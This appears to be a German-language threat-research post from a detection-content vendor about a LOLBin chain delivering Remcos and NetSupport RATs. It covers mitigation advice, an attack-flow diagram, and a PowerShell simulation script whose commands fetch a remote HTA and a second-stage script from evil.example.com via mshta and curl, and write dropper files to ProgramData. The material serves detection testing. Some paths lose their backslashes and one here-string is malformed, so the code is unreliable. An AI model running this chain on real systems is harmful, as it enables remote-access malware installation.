SOC Prime Bias: Mittel

23 Jan. 2026 18:03

Können LOLBins Übermäßig Genutzt Werden, um RAT-Payloads zu Übertragen?

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
Können LOLBins Übermäßig Genutzt Werden, um RAT-Payloads zu Übertragen?
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Dieser Bericht skizziert eine mehrstufige Infektionskette, die aggressiv Windows-eigene Dienstprogramme (LOLBins) missbraucht, um Fernzugriffstools wie Remcos und NetSupport Manager abzurufen und auszuführen. Der Betreiber verknüpft dafür die Befehle forfiles, mshta, PowerShell, curl, tar, WScript und gezielte Registry-Änderungen, um Nutzlasten in Stufen zu verteilen, Persistenz zu etablieren und die Sichtbarkeit zu verringern. Der Ablauf nutzt zudem das Verhalten „Lebendiges-vom-Land“ aus, um sich leise in die routinemäßigen Verwaltungsaktivitäten einzufügen. Malwarebytes identifizierte die Aktivität und blockierte die zugehörige IP-Adresse. Insgesamt unterstreicht es, wie umfangreicher LOLBin-Missbrauch effektiv RATs liefern kann.

Untersuchung

Forscher sahen zuerst, dass forfiles.exe mshta gestartet hat, welches eine bösartige HTA abrief, die PowerShell ausführte, um ein PDF-Decoy zu holen, das ein TAR-Archiv trug. Nach der Extraktion warf eine trojanisierte glaxnimate.exe fragmentierte Komponenten in ProgramData ab, die dann mit WScript, Batch-Skripten und unterstützenden Dateien neu zusammengesetzt und gestartet wurden. Die Persistenz wurde durch das Erstellen eines UserInitMprLogonScript-Werts in HKCUEnvironment festgelegt, der auf eine bösartige Client-Binärdatei verwies.

Minderung

Überwachen Sie auf anomale LOLBin-Ausführungen, insbesondere forfiles, mshta, curl, tar, expand und verdächtige Registry-Bearbeitungen innerhalb von HKCUEnvironment. Durchsetzen der Anwendungswhitelist, umfassendes PowerShell-Logging aktivieren und Skriptausführungen von ProgramData verhindern, um die Inszenierung einzuschränken. Sperren Sie ungewöhnlichen ausgehenden HTTP-Verkehr zu unbekannten IPs und wenden Sie URL-Filter an, um initiale Download-Versuche zu unterbrechen.

Reaktion

Bei Entdeckung isolieren Sie den Host, erfassen Sie vollständige Befehlszeilentelemetriedaten und sammeln Sie abgelegte Artefakte zur Hash-Analyse. Entfernen Sie den bösartigen Registry-Eintrag und löschen Sie in ProgramData erstellte Dateien. Führen Sie einen Endpunkt-Scan mit aktuellen AV-Signaturen aus und implementieren Sie ein netzwerkweites Blockieren der Angreifer-IP-Adresse und aller damit verbundenen Domains.

graph TB %% Class definitions classDef technique fill:#ffcc99 classDef process fill:#c2f0c2 classDef action fill:#99ccff classDef tool fill:#dddddd classDef malware fill:#ff9999 %% Nodes initial_access[„<b>Technik</b> – T1218.005: Mshta.exe<br/><b>Beschreibung</b> Verwendung von forfiles.exe zum Starten von mshta und Herunterladen von HTA“] class initial_access technique process_mshta[„<b>Prozess</b>: mshta.exe<br/><b>Aktion</b> Führt Remote-HTA aus“] class process_mshta process download_htapayload[„<b>Aktion</b> – HTA herunterladen<br/><b>Werkzeug</b> mshta“] class download_htapayload action cmd_execution[„<b>Technik</b> – T1059.003: Windows-Befehlsinterpreter<br/><b>Beschreibung</b> HTA startet cmd.exe“] class cmd_execution technique powershell_one_liner[„<b>Technik</b> – T1059.001: PowerShell<br/><b>Beschreibung</b> One-Liner lädt Payload als PDF herunter, extrahiert mit tar, startet glaxnimate.exe“] class powershell_one_liner technique local_staging[„<b>Technik</b> – T1074.001: Lokales Staging<br/><b>Beschreibung</b> Erstellt .PART-Dateien in ProgramData“] class local_staging technique vbscript_execution[„<b>Technik</b> – T1059.005: Visual Basic<br/><b>Beschreibung</b> wscript.exe führt processor.vbs aus, das einen versteckten cmd startet, um patcher.bat auszuführen“] class vbscript_execution technique archive_extraction[„<b>Technik</b> – T1560.001: Archivextraktion<br/><b>Beschreibung</b> expand extrahiert setup.cab, das NetSupport RAT enthält“] class archive_extraction technique persistence[„<b>Technik</b> – T1547.014: Registry Run Keys / Startup-Ordner<br/><b>Beschreibung</b> HKCU\\Environment\\UserInitMprLogonScript auf client32.exe gesetzt“] class persistence technique client32[„<b>Malware</b> client32.exe<br/><b>Zweck</b> Wird beim Anmelden ausgeführt“] class client32 malware glaxnimate[„<b>Malware</b> Trojanisiertes glaxnimate.exe<br/><b>Zweck</b> Führt bösartigen Payload aus“] class glaxnimate malware netsupport[„<b>Malware</b> NetSupport RAT<br/><b>Zweck</b> Remote-Access-Payload“] class netsupport malware %% Connections initial_access –>|nutzt| process_mshta process_mshta –>|lädt herunter| download_htapayload download_htapayload –>|führt aus| cmd_execution cmd_execution –>|löst aus| powershell_one_liner powershell_one_liner –>|staged Dateien| local_staging local_staging –>|führt aus| vbscript_execution vbscript_execution –>|extrahiert| archive_extraction archive_extraction –>|installiert| glaxnimate glaxnimate –>|installiert| netsupport netsupport –>|führt zu| persistence persistence –>|führt aus| client32

Angriffsfluss

Simulationsausführung

Voraussetzung: Der Telemetrie- und Basislinien-Vorflug-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Techniken des Gegners (TTP), die darauf abzielen, die Erkennungsregel auszulösen. Die Befehle und die Erzählung müssen direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennung erwartet wird.

  • Angriffserzählung & Befehle:
    Der Rot-Team-Betreiber beabsichtigt, den Remcos RAT einzusetzen, indem eine Kette von LOLBins genutzt wird, um den direkten Download eines ausführbaren Programms zu vermeiden.

    1. Entdeckung & Inszenierung: Use forfiles.exe um ein Zielverzeichnis zu finden und mshta mit einer bösartigen URL zu starten, die eine HTA-Nutzlast hostet.
    2. Dateiloses PowerShell-Download: aufrufen powershell.exe mit -NoProfile -Command curl um ein Skript der zweiten Stufe von einem C2-Server abzurufen.
    3. VBScript-Ausführung: Einen erstellten processor.vbs via WScript.exe bereitstellen, um die RAT-Binärdatei zu schreiben nach %ProgramData%.
    4. Batch-Dropper: Führen Sie eine versteckte Batch-Datei (patcher.bat) über cmd.exe aus, das über IWshShell3.Run aufgerufen wird, um die Persistenz abzuschließen.

    Jeder Schritt erzeugt ein eindeutiges Prozess-Erstellungsereignis, das zu einer der Sigma-Wahlen passt und somit die Regel auslöst.

  • Regressions-Test-Skript:
    Das unten stehende Skript reproduziert die vier Selektionen in einem kontrollierten Labor. Es protokolliert jeden Befehl in einer temporären Datei zur späteren Überprüfung.

    #-------------------------------------------------
    # LOLBin-Missbrauchssimulation – löst Sigma-Regel aus
    #-------------------------------------------------
    $log = "$env:TEMPlolbin_simulation.log"
    Clear-Content -Path $log -ErrorAction SilentlyContinue
    
    # 1. forfiles.exe -> mshta
    $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"'
    Write-Output "[+] Ausführen: $cmd1" | Tee-Object -FilePath $log
    Invoke-Expression $cmd1
    
    # 2. powershell.exe -> curl download
    $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"'
    Write-Output "[+] Ausführen: $cmd2" | Tee-Object -FilePath $log
    Invoke-Expression $cmd2
    
    # 3. wscript.exe -> processor.vbs
    $vbsPath = "$env:ProgramDataprocessor.vbs"
    @"
    Set fso = CreateObject("Scripting.FileSystemObject")
    fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious"
    "@ | Set-Content -Path $vbsPath -Encoding ASCII
    $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`""
    Write-Output "[+] Ausführen: $cmd3" | Tee-Object -FilePath $log
    Invoke-Expression $cmd3
    
    # 4. IWshShell3.Run -> cmd /c patcher.bat
    $batPath = "$env:ProgramDatapatcher.bat"
    "@
    echo @echo off > %TEMP%nothing.txt
    "@ | Set-Content -Path $batPath -Encoding ASCII
    $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`""
    Write-Output "[+] Ausführen: $cmd4 (über IWshShell3.Run)" | Tee-Object -FilePath $log
    Invoke-Expression $cmd4
    
    Write-Output "[+] Simulation abgeschlossen." | Tee-Object -FilePath $log
  • Aufräumkommandos:
    Entfernen Sie Artefakte, um den Host in einen sauberen Zustand zu versetzen.

    # Entfernen von LOLBin-Simulationsartefakten
    Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue
    Write-Output "[+] Aufräumen abgeschlossen."